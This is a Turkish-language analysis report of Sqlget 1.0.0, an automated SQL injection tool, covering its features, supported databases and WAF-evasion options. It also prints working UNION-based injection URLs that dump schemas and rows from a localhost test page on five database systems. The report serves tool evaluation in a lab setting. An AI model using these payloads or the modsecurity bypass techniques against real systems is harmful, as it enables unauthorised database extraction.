Araç Bilgi

Lisans

 

    GPL

 

Versiyon

 

    1.0.0

 

Yazar & Bağlantı Bilgileri

 

    Francisco Amato, famato at infobyte dot com dot ar 

 

Programlama Dili

 

    Perl

 

Önkoşullar

 

    Convert::EastAsianWidth

    Unicode::EastAsianWidth

    

    GraphViz modulü diğer perl kütüphaneleri (GraphViz ve IPC::Run) ve cgywin or a linux dağıtımı istemektedir  

 

URL

 

    http://www.infobyte.com.ar/down/ISR-sqlget-1.0.0.tar.gz

 

Test Yatağı

 

    win2k3 sp1 vmware image with ActivePerl 5.8.8 Build 819

    MSSQL 2005 EE, Oracle 10g EE, DB2 EC v 9.5, PostGreSQL 8.2, MySQL Community 5.0.45

     

Kurulum Püf Noktaları (Hatalar/Çözümler/Öneriler)

 

    2 hata ve çözümleri, detaylar için Sqlget v.1.0.0 - HÇÖ  

Rapor Hakkında

Rapor İsmi

 

      Sqlget - Otomatize  SQL Enjektörü Analizi   

 

Rapor Yazarı

 

     Bedirhan Urgun, urgunb at hotmail dot com

 

Rapor Tarihi

 

     29 Şubat 2008

Kullanım

Komut Satırı/Grafiksel Arayüz

 

    Komut Satırı

 

Başlat/Durdur/Devam Et Özellikleri

    

    -

 

Dokümantasyon

 

    Kod ile beraber gelen README dosyası bir kaç örnek içermektedir ancak özellikle oturum dosyaları yazma konusunda ciddi bir bilgi eksikliği vardır.

DB Döküm Yetenekleri

Hafifsıklet Bilgiler

     

     -

 

Veritabanı İsimleri

 

     Evet

 

Tablo İsimleri

 

     Evet

 

Sutün İsimleri

 

     Evet

 

Tablo Satırları

 

     Evet

Performans

Temel Sorgu

 

     İlk olarak bir perl dosyası üretilmelidir (bu dosyanın ismi db2.pm olsun). Daha sonra, aşağıdaki komut db2.schema dosyasını üretmek için çalıştırılmalıdır. 

 

        ISR-sqlget.pl -s -n db2

 

     db2.schema üretildikten sonra, db2.pm dosyasındaki @conf::path isimli parametre db2.schema bilgiler göz önünde bulundurularak değiştirilmelidir. Sonra

 

         ISR-sqlget.pl -d -n db2

 

     komutu, db2.schema dosyasına göre kayıtları dökmek için çalıştırılmalıdır.

 

Püf Noktaları

 

     db2.schema üretildikten sonra, sadece ilgili tabloları ve kayıtlarını almak için değiştirilebilir.

 

Çalıştırılan Toplam Sorgu Sayısı

 

    DBMS Banner Almak

 

        Kör

 

            -

 

        Union

 

            -

 

    Kullanıcı İsmi Almak

 

        Kör

 

            -

 

        Union

 

            -

Özellikler

Kimlik Doğrulama Tipleri

 

     Cookie

 

         İlgili oturum perl dosyasında $conf::cookie, @conf::cookies parametreleri

 

     Temel Kimlik Doğrulama

 

         Evet

 

     Özet Kimlik Doğrulama

 

         -

 

     NTLM

 

         -

 

     Sertifika

 

         -

 

DBMS Desteği

 

     Bu raporda kalın veritabanı isimleri başarılı olarak denenmiştir.

     

    MSSQL 

    MYSQL

    ORACLE

    POSTGRESQL

    DB2

    MIMER

    INTERBASE

    VIRTUOSO

    PERVASIVE

    HSQLDB

    SQLITE

    INFORMIX

    SYBASE

    H2

    MCKOI

    INGRES

    MONETDB

    MAXDB

    THINKSQL

    SQLBASE

     

Gerçeklenen Enjeksiyon Tipleri

 

    Kör

 

        Doğru/Yanlış

 

             -

 

        Zaman Tabanlı

 

             -

 

    Hata Tabanlı

 

        -

    

    Union     

 

        Evet

 

    Tek Kayıt Union

 

        -

 

    Bant Dışı Kanal

 

        -

     

Anonimlik Desteği

 

    User-Agent

 

       İlgili oturum perl dosyasında $conf::ruseragent, $conf::ruseragentfile ve $conf::uagent parametreleri

 

    Referrer

 

        -

 

    Proxy

 

       İlgili oturum perl dosyasında $conf::proxy_host, $conf::rproxy ve $conf::rproxyfile parametreleri

 

Veritabanı Döküm Granüleritesi

 

     -s opsiyonu ile [veritabanı isimleri, tablo isimleri, sütun isimleri]

     -d opsiyonu ile [tablo kayıtları]

 

Diğer

 

     302 Yönlendirme Yönetimi

 

         -

 

     Atlatma (Evasion) Özellikleri

 

         modsecurity <= 2.1.0 atlatması

         full_width/half_width kodlama

         istekler arasında rasgele beklemeler

         büyük küçük harf

         string kodlama (ASCII->Char, HEX) 

 

     Özel Yapım SQL Sorgu Desteği

 

         -

 

     Paralel İstekler

 

         -.Ama kullanılan algoritma (özellikle tablo kayıt dökümleri) paralelliği desteklemektedir.

     

Enjeksiyon Noktaları

 

     GET

         

         Evet

 

     POST

 

         Evet

 

     COOKIE

 

         -

 

     HTTP HEADERS

     

         -

 

Otomatik Yazılım Yenileme

 

     -

Çıktı/Kayıt Tutma

     İstek/Cevap Kayıtları

         

         -v hata ayıklama yolu opsiyonu ile

 

     Programa Özel Kayıt Tutma

 

         Araç csv ve html döküm dosyaları üretmektedir. Ayrıca, denemek mümkün olmasa da, dökülen db yapısını gösteren harika bir grafik arayüzü bulunmaktadır.

SQLi Açıklık Tarama Desteği

     Basit SQL Enjeksiyonu Testi (Tek URL ve Parametreler)

 

         -. Saldırı kodu ilgili oturum perl dosyasında $conf::inj parametresinin değeri olarak elle yazılmalıdır

 

     Basit SQL Enjeksiyonu Tarama (Crawling Yolu İle)

 

         -

Sorgu Detayları

    DBMS Banner Alma

 

         -

 

    Kullanıcı İsmi Alma

 

         -

 

    Veritabanı isimleri, Tablo isimleri ve Tablo sutün isimlerini Dökme     

 

         Mysql

 

http://localhost/sqlinj.php,type=2&log=0&order=1&database=mysql&name=PENELOPE')
union select 1,

CONCAT(information_schema.TABLES.TABLE_SCHEMA,'[__]', information_schema.TABLES.TABLE_NAME,'[__]',COLUMN_NAME,'[__]',DATA_TYPE),

'a','2006-02-15 09:34:33'
from information_schema.COLUMNS INNER JOIN information_schema.TABLES ON information_schema.TABLES.TABLE_NAME=information_schema.COLUMNS.TABLE_NAME   #

         

         Mssql (önce veritabanı isimleri alınır daha sonra sadece Northwind veritabanı çekilir)

 

http://localhost/sqlinj.php,type=2&log=0&order=1&database=mssql&name=PENELOPE')

union select 1,{fn CONCAT({fn CONCAT(NAME,'[__]')},'')},'a','2006-02-15 09:34:33' from master.dbo.sysdatabases   --

             

 http://localhost/sqlinj.php,type=2&log=0&order=1&database=mssql&name=PENELOPE')

union select 1,

{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(Northwind.INFORMATION_SCHEMA.TABLES.TABLE_CATALOG, '[__]')}, Northwind.INFORMATION_SCHEMA.TABLES.TABLE_NAME)}, '[__]')}, COLUMN_NAME)}, '[__]')}, DATA_TYPE)},

'a','2006-02-15 09:34:33'

from Northwind.INFORMATION_SCHEMA.COLUMNS INNER JOIN Northwind.INFORMATION_SCHEMA.TABLES ON Northwind.INFORMATION_SCHEMA.TABLES.TABLE_NAME=Northwind.INFORMATION_SCHEMA.COLUMNS.TABLE_NAME   --

 

         Db2

 

http://localhost/sqlinj.php,log=0&type=2&order=1&database=db2&name=PENELOPE')

union select 1,TABLE_SCHEMA||'[__]'||TABLE_NAME||'[__]'||COLUMN_NAME||'[__]'||DATA_TYPE,'a','2006-02-15 09:34:33' from SYSIBM.COLUMNS   -- 

         Postgresql

 

http://localhost/sqlinj.php,type=2&log=0&order=1&database=pgsql&name=PENELOPE')

union select 1,

COALESCE((select nspname from pg_namespace where a.relnamespace =pg_namespace.oid),'0'::text)||'[__]'||

COALESCE(relname,'0'::text)||'[__]'||COALESCE(attname,'0'::text)||'[__]'||

COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text),

'a','2006-02-15 09:34:33'

from (pg_attribute b JOIN pg_class a ON (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char")))  --

 

        Oracle

 

http://localhost/sqlinj.php,type=2&log=0&order=1&database=oracle&name=PENELOPE')

union select 1,OWNER||'[__]'||TABLE_NAME||'[__]'||COLUMN_NAME||'[__]'||DATA_TYPE,'a','2006-02-15 09:34:33' from all_tab_columns   --

 

     Satırları Alma    

 

         Mysql (sadece actor tablosu için)

 

http://localhost/sqlinj.php,type=2&log=0&order=1&database=mysql&name=PENELOPE')
union select 1,CONCAT(last_update,'[__]',actor_id,'[__]',last_name,' [__]',first_name),'a','2006-02-15 09:34:33' from sakila.actor   #

        Mssql (sadece actor tablosu için)

 

http://localhost/sqlinj.php,type=2&log=0&order=1&database=mssql&name=PENELOPE')

union select 1,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(last_update,'[__]')},convert(varchar,actor_id))},'[__]')},last_name)},'[__]')},first_name)},

'a','2006-02-15 09:34:33' from Northwind..actor   --

         Db2 (sadece actor tablosu için)

 

http://localhost/sqlinj.php,log=0&type=2&order=1&database=db2&name=PENELOPE')

union select 1,FIRST_NAME||'[__]'||CHAR(ACTOR_ID)||'[__]'||CHAR(LAST_UPDATE)||'[__]'||LAST_NAME,'a','2006-02-15 09:34:33' from ADMINISTRATOR.ACTOR   -- 

          Postgresql (sadece actor tablosu için)

 

http://localhost/sqlinj.php,type=2&log=0&order=1&database=pgsql&name=PENELOPE')

union select 1,

COALESCE(last_update,'1970-01-01 00:00:00'::timestamp)||'[__]'||COALESCE(actor_id,'0'::int4)||'[__]'||COALESCE(last_name,'0'::varchar)||'[__]'||COALESCE(first_name,'0'::varchar),

'a','2006-02-15 09:34:33'

from public.actor   --

 

            Oracle (sadece actor tablosu için)

 

http://localhost/sqlinj.php,type=2&log=0&order=1&database=oracle&name=PENELOPE')

union select 1,FIRST_NAME||'[__]'||ACTOR_ID||'[__]'||LAST_UPDATE||'[__]'||LAST_NAME,'a','2006-02-15 09:34:33' from HR.ACTOR   --

Algoritma/Analiz

    Kör

 

        Sayılar

 

             -

 

        Karakterler  

 

             -

   

    Union Parse Algoritması

 

        "  union select 1,<VALUE>,'abc','1970-01-01 00:00:00' from <TABLE> <WHERE> <TAIL> -- " hem yapıyı hem de satırları dökme işlemlerinde şablon olarak kullanılmaktadır.. <VALUE>  aralarına [__] dizgisi serpiştirilmiş (parse işlemi için) değerlerden oluşmaktadır. 

 

         Saldırı iki bölümden oluşmaktadır; veritabanı yapısının alınması ve bu yapıya göre satırların alınması. İlk bölüm sadece 1 istekten oluşur (MSSQL için 1 + veritabanı sayısı). İkinci bölüm n istekten oluşur. n ilk bölümde çekilen veritabanı yapısındaki tablo sayısıdır. Yapı dosyasını değiştirerek tablo sayısı sadece kritik tablolar içerilecek şekilde değiştirilebilir. İki bölüm birlikte, sqlget'in algoritma analizi O(n)+1 olarak gösterilebilir. n tablo sayısı ve 1 veritabanı yapısı çekme isteğidir (MSSQL için sabit k, veritabanı sayısı).